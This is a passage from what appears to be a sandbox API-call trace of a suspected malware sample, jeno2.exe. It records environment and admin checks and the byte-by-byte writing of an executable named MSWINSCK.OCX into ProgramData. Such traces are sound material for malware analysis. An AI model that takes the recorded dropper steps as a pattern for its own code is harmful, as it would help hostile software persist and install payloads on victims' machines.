[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f478 | out: ppvObject=0x18f478*=0x377d520) returned 0x0 [0057.306] IClientSecurity:QueryBlanket (in: This=0x377d520, pProxy=0x377d51c, pAuthnSvc=0x18f49c, pAuthzSvc=0x18f48c, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x18f49c*=0xa, pAuthzSvc=0x18f48c*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0057.306] IUnknown:Release (This=0x377d520) returned 0x3 [0057.306] IUnknown:QueryInterface (in: This=0x377d51c, riid=0x755e34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f450 | out: ppvObject=0x18f450*=0x144bcac) returned 0x0 [0057.306] IUnknown:QueryInterface (in: This=0x377d51c, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f454 | out: ppvObject=0x18f454*=0x377d520) returned 0x0 [0057.306] IClientSecurity:SetBlanket (This=0x377d520, pProxy=0x377d51c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0057.512] IUnknown:Release (This=0x377d520) returned 0x4 [0057.512] WbemLocator:IUnknown:Release (This=0x144bcac) returned 0x3 [0057.512] IUnknown:Release (This=0x37708e0) returned 0x2 [0057.512] IUnknown:AddRef (This=0x377d51c) returned 0x3 [0057.512] IUnknown:Release (This=0x37708dc) returned 0x2 [0057.512] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x18f5cc | out: pperrinfo=0x18f5cc*=0x0) returned 0x1 [0057.512] WbemLocator:IUnknown:Release (This=0x377d304) returned 0x2 [0057.512] IUnknown:Release (This=0x144d764) returned 0x1 [0057.513] LoadRegTypeLib (in: rguid=0x755e364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x18f85c*=0x0 | out: pptlib=0x18f85c*=0x144bd10) returned 0x0 [0057.514] ITypeLib:GetTypeInfoOfGuid (in: This=0x144bd10, GUID=0x3770940*(Data1=0x76a6415f, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), ppTInfo=0x3770934 | out: ppTInfo=0x3770934*=0x144d814) returned 0x0 [0057.514] IUnknown:Release (This=0x144bd10) returned 0x2 [0057.514] IUnknown:AddRef (This=0x144d814) returned 0x2 [0057.514] DispGetIDsOfNames (in: ptinfo=0x144d814, rgszNames=0x18f8b8*="Count", cNames=0x1, rgdispid=0x18f8bc | out: rgdispid=0x18f8bc*=1) returned 0x0 [0057.515] IUnknown:Release (This=0x144d814) returned 0x1 [0057.515] IUnknown:AddRef (This=0x144d814) returned 0x2 [0057.515] ITypeInfo:LocalInvoke (This=0x144d814) returned 0x0 [0057.515] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0057.515] GetCurrentThreadId () returned 0x9ec [0057.515] IUnknown:AddRef (This=0x377d51c) returned 0x3 [0057.515] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0057.515] GetCurrentThreadId () returned 0x9ec [0057.515] IEnumWbemClassObject:Clone (in: This=0x377d51c, ppEnum=0x18f6e4 | out: ppEnum=0x18f6e4*=0x377d5e4) returned 0x0 [0057.540] IUnknown:QueryInterface (in: This=0x377d51c, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f69c | out: ppvObject=0x18f69c*=0x377d520) returned 0x0 [0057.540] IClientSecurity:QueryBlanket (in: This=0x377d520, pProxy=0x377d51c, pAuthnSvc=0x18f68c, pAuthzSvc=0x18f690, pServerPrincName=0x0, pAuthnLevel=0x18f6ac, pImpLevel=0x18f6b0, pAuthInfo=0x0, pCapabilites=0x18f6a4 | out: pAuthnSvc=0x18f68c*=0xa, pAuthzSvc=0x18f690*=0x0, pServerPrincName=0x0, pAuthnLevel=0x18f6ac*=0x6, pImpLevel=0x18f6b0*=0x3, pAuthInfo=0x0, pCapabilites=0x18f6a4*=0x20) returned 0x0 [0057.540] IUnknown:Release (This=0x377d520) returned 0x3 [0057.540] IUnknown:QueryInterface (in: This=0x377d5e4, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f5e8 | out: ppvObject=0x18f5e8*=0x377d5e8) returned 0x0 [0057.540] IClientSecurity:QueryBlanket (in: This=0x377d5e8, pProxy=0x377d5e4, pAuthnSvc=0x18f60c, pAuthzSvc=0x18f5fc, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x18f60c*=0xa, pAuthzSvc=0x18f5fc*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0057.540] IUnknown:Release (This=0x377d5e8) returned 0x1 [0057.541] IUnknown:QueryInterface (in: This=0x377d5e4, riid=0x755e34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f5c0 | out: ppvObject=0x18f5c0*=0x144fb54) returned 0x0 [0057.541] IUnknown:QueryInterface (in: This=0x377d5e4, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f5c4 | out: ppvObject=0x18f5c4*=0x377d5e8) returned 0x0 [0057.541] IClientSecurity:SetBlanket (This=0x377d5e8, pProxy=0x377d5e4, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0057.544] IUnknown:Release (This=0x377d5e8) returned 0x2 [0057.544] WbemLocator:IUnknown:Release (This=0x144fb54) returned 0x1 [0057.544] IEnumWbemClassObject:Reset (This=0x377d5e4) returned 0x0 [0057.545] IEnumWbemClassObject:Next (in: This=0x377d5e4, lTimeout=-1, uCount=0x1, apObjects=0x18f6d4, puReturned=0x18f6d8 | out: apObjects=0x18f6d4*=0x0, puReturned=0x18f6d8*=0x0) returned 0x1 [0057.546] IUnknown:Release (This=0x377d5e4) returned 0x0 [0057.547] IUnknown:Release (This=0x377d51c) returned 0x2 [0057.548] IUnknown:Release (This=0x144d814) returned 0x1 [0057.548] WbemLocator:IUnknown:Release (This=0x377d304) returned 0x1 [0057.548] WbemLocator:IUnknown:Release (This=0x377d304) returned 0x0 [0057.549] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0057.549] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0057.549] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0057.549] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0057.549] IUnknown:Release (This=0x144d764) returned 0x0 [0057.549] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0057.549] IUnknown:Release (This=0x377d51c) returned 0x1 [0057.549] IUnknown:Release (This=0x377d51c) returned 0x0 [0057.551] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0057.551] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0057.551] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0057.552] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0057.552] IUnknown:Release (This=0x144d814) returned 0x0 [0057.553] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0057.553] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xfc) returned 0x383ae88 [0057.553] GetVersionExA (in: lpVersionInformation=0x18f85c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x1000000, dwMinorVersion=0x18f7ac, dwBuildNumber=0x58, dwPlatformId=0x18fd3c, szCSDVersion="Í\x1eËw\x1dR\x13") | out: lpVersionInformation=0x18f85c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0057.553] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0057.553] GetCurrentThreadId () returned 0x9ec [0057.553] GetCurrentThreadId () returned 0x9ec [0057.553] GetCurrentThreadId () returned 0x9ec [0057.554] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x7) returned 0x3837470 [0057.554] SetWindowTextA (hWnd=0x170262, lpString="Artyom") returned 1 [0057.554] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0xc, wParam=0x0, lParam=0x3837470) returned 0x1 [0057.554] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x1) returned 0x3837480 [0057.554] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x7) returned 0x3837490 [0057.554] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x7) returned 0x38374a0 [0057.554] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831a98 [0057.555] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18f848, nSize=0x104 | out: lpFilename="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe")) returned 0x18 [0057.555] lstrcpynA (in: lpString1=0x18f734, lpString2="C:\\ProgramData\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0057.555] lstrlenA (lpString="C:\\ProgramData\\jeno2.exe") returned 24 [0057.555] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x38374b0 [0057.555] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383af90 [0057.555] lstrcpyA (in: lpString1=0x38374b0, lpString2="C:\\ProgramData\\jeno2.exe" | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0057.556] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xf) returned 0x3832e90 [0057.556] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383af90 | out: hHeap=0x3820000) returned 1 [0057.556] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x38374b0 | out: hHeap=0x3820000) returned 1 [0057.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832e90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0057.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832e90, cbMultiByte=-1, lpWideCharStr=0x1433584, cchWideChar=15 | out: lpWideCharStr="C:\\ProgramData") returned 15 [0057.556] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0057.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18f924, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0057.556] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0057.556] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0057.556] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0057.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x142592c, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0057.556] SysReAllocStringLen (in: pbstr=0x18f9b4*="C:", psz=0x0, len=0x2 | out: pbstr=0x18f9b4*="C:") returned 1 [0057.556] VarCat (in: pvarLeft=0x18fce0, pvarRight=0x18fc30, pvarResult=0x18fcd0 | out: pvarResult=0x18fcd0) returned 0x0 [0057.557] VarCmp (pvarLeft=0x18fcc0, pvarRight=0x18fcd0, lcid=0x0, dwFlags=0x30001) returned 0x1 [0057.557] VarNot (in: pvarIn=0x18fcb0, pvarResult=0x18fca0 | out: pvarResult=0x18fca0) returned 0x0 [0057.557] SetErrorMode (uMode=0x8001) returned 0x8001 [0057.575] LoadLibraryA (lpLibFileName="shell32") returned 0x759d0000 [0061.557] SetErrorMode (uMode=0x8001) returned 0x8001 [0061.557] GetProcAddress (hModule=0x759d0000, lpProcName="IsUserAnAdmin") returned 0x75a244f5 [0061.557] IsUserAnAdmin () returned 1 [0061.558] GetLastError () returned 0x0 [0061.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\chk.dat", cchWideChar=-1, lpMultiByteStr=0x18f424, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\chk.dat", lpUsedDefaultChar=0x0) returned 23 [0061.559] GetFullPathNameA (in: lpFileName="C:\\ProgramData\\chk.dat", nBufferLength=0x104, lpBuffer=0x18f660, lpFilePart=0x18f41c | out: lpBuffer="C:\\ProgramData\\chk.dat", lpFilePart=0x18f41c*="chk.dat") returned 0x16 [0061.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\chk.dat", cchWideChar=-1, lpMultiByteStr=0x18f8ac, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\chk.dat", lpUsedDefaultChar=0x0) returned 23 [0061.559] FindClose (in: hFindFile=0x142f3c8 | out: hFindFile=0x142f3c8) returned 1 [0061.560] FindFirstFileA (in: lpFileName="C:\\ProgramData\\chk.dat", lpFindFileData=0x18f3fc | out: lpFindFileData=0x18f3fc*(dwFileAttributes=0x1410000, ftCreationTime.dwLowDateTime=0x142f3c8, ftCreationTime.dwHighDateTime=0x18fcf0, ftLastAccessTime.dwLowDateTime=0x18f52c, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18f660, nFileSizeHigh=0x18f424, nFileSizeLow=0x1445ff8, dwReserved0=0x1410150, dwReserved1=0x505c3a43, cFileName="", cAlternateFileName="ô8Ý\x8fþÿÿÿL\x95Âv¨È¢rüY¡r¬ø\x18")) returned 0xffffffff [0061.561] GetLastError () returned 0x2 [0061.561] GetLastError () returned 0x2 [0061.561] SetLastError (dwErrCode=0x2) [0061.561] GetLastError () returned 0x2 [0061.561] SetLastError (dwErrCode=0x2) [0061.561] VarBstrCmp (bstrLeft="", bstrRight="", lcid=0x0, dwFlags=0x30001) returned 0x1 [0061.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\chk.dat", cchWideChar=-1, lpMultiByteStr=0x18f78c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\chk.dat", lpUsedDefaultChar=0x0) returned 23 [0061.562] GetFullPathNameA (in: lpFileName="C:\\ProgramData\\chk.dat", nBufferLength=0x104, lpBuffer=0x18f8bc, lpFilePart=0x18f784 | out: lpBuffer="C:\\ProgramData\\chk.dat", lpFilePart=0x18f784*="chk.dat") returned 0x16 [0061.562] CreateFileA (lpFileName="C:\\ProgramData\\chk.dat" (normalized: "c:\\programdata\\chk.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18f87c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4 [0061.567] GetFileType (hFile=0xb4) returned 0x1 [0061.567] IMalloc:Alloc (This=0x767666bc, cb=0x53) returned 0x144aa90 [0061.567] IMalloc:Realloc (This=0x767666bc, pv=0x0, cb=0x60) returned 0x144e6a0 [0061.567] CloseHandle (hObject=0xb4) returned 1 [0061.568] IMalloc:Free (This=0x767666bc, pv=0x144aa90) [0061.568] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18f750, nSize=0x104 | out: lpFilename="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe")) returned 0x18 [0061.568] lstrcpynA (in: lpString1=0x18f63c, lpString2="C:\\ProgramData\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0061.568] lstrlenA (lpString="C:\\ProgramData\\jeno2.exe") returned 24 [0061.568] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x38374b0 [0061.568] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383af90 [0061.568] lstrcpyA (in: lpString1=0x38374b0, lpString2="C:\\ProgramData\\jeno2.exe" | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0061.569] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xf) returned 0x3832e90 [0061.569] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383af90 | out: hHeap=0x3820000) returned 1 [0061.569] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x38374b0 | out: hHeap=0x3820000) returned 1 [0061.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832e90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0061.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832e90, cbMultiByte=-1, lpWideCharStr=0x1433584, cchWideChar=15 | out: lpWideCharStr="C:\\ProgramData") returned 15 [0061.569] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0061.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\MSWINSCK.OCX", cchWideChar=-1, lpMultiByteStr=0x18f32c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\MSWINSCK.OCX", lpUsedDefaultChar=0x0) returned 28 [0061.569] GetFullPathNameA (in: lpFileName="C:\\ProgramData\\MSWINSCK.OCX", nBufferLength=0x104, lpBuffer=0x18f568, lpFilePart=0x18f324 | out: lpBuffer="C:\\ProgramData\\MSWINSCK.OCX", lpFilePart=0x18f324*="MSWINSCK.OCX") returned 0x1b [0061.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\MSWINSCK.OCX", cchWideChar=-1, lpMultiByteStr=0x18f7b4, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\MSWINSCK.OCX", lpUsedDefaultChar=0x0) returned 28 [0061.569] FindFirstFileA (in: lpFileName="C:\\ProgramData\\MSWINSCK.OCX", lpFindFileData=0x18f304 | out: lpFindFileData=0x18f304*(dwFileAttributes=0x18f324, ftCreationTime.dwLowDateTime=0x1429ab8, ftCreationTime.dwHighDateTime=0x18f974, ftLastAccessTime.dwLowDateTime=0x18f434, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18f568, nFileSizeHigh=0x18f32c, nFileSizeLow=0x18f577, dwReserved0=0x0, dwReserved1=0x505c3a43, cFileName="rogramData\\MSWINSCK.OCX", cAlternateFileName="Ð÷\x18")) returned 0xffffffff [0061.570] GetLastError () returned 0x2 [0061.570] GetLastError () returned 0x2 [0061.570] SetLastError (dwErrCode=0x2) [0061.570] GetLastError () returned 0x2 [0061.570] SetLastError (dwErrCode=0x2) [0061.570] VarBstrCmp (bstrLeft="", bstrRight="", lcid=0x0, dwFlags=0x30001) returned 0x1 [0061.586] lstrcpynA (in: lpString1=0x18f63c, lpString2="C:\\ProgramData\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0061.586] lstrlenA (lpString="C:\\ProgramData\\jeno2.exe") returned 24 [0061.586] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x38374b0 [0061.586] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383af90 [0061.586] lstrcpyA (in: lpString1=0x38374b0, lpString2="C:\\ProgramData\\jeno2.exe" | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0061.587] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xf) returned 0x3832e90 [0061.587] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383af90 | out: hHeap=0x3820000) returned 1 [0061.587] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x38374b0 | out: hHeap=0x3820000) returned 1 [0061.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832e90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0061.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832e90, cbMultiByte=-1, lpWideCharStr=0x1433584, cchWideChar=15 | out: lpWideCharStr="C:\\ProgramData") returned 15 [0061.587] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0061.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\MSWINSCK.OCX", cchWideChar=-1, lpMultiByteStr=0x18f694, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\MSWINSCK.OCX", lpUsedDefaultChar=0x0) returned 28 [0061.587] GetFullPathNameA (in: lpFileName="C:\\ProgramData\\MSWINSCK.OCX", nBufferLength=0x104, lpBuffer=0x18f7c4, lpFilePart=0x18f68c | out: lpBuffer="C:\\ProgramData\\MSWINSCK.OCX", lpFilePart=0x18f68c*="MSWINSCK.OCX") returned 0x1b [0061.588] CreateFileA (lpFileName="C:\\ProgramData\\MSWINSCK.OCX" (normalized: "c:\\programdata\\mswinsck.ocx"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f784, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4 [0061.588] GetFileType (hFile=0xb4) returned 0x1 [0061.588] IMalloc:Alloc (This=0x767666bc, cb=0x257) returned 0x144fdc8 [0061.590] VarParseNumFromStr (in: strIn="&H4D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.590] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="M") returned 1 [0061.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="M", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="M", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="M", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M", lpUsedDefaultChar=0x0) returned 1 [0061.591] VarParseNumFromStr (in: strIn="&H5A", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.591] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="Z") returned 1 [0061.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Z", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Z", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Z", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Z", lpUsedDefaultChar=0x0) returned 1 [0061.591] VarParseNumFromStr (in: strIn="&H90", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.591] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="\x90") returned 1 [0061.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x90", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x90", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x90", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x90", lpUsedDefaultChar=0x0) returned 1 [0061.592] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.592] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.592] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.592] 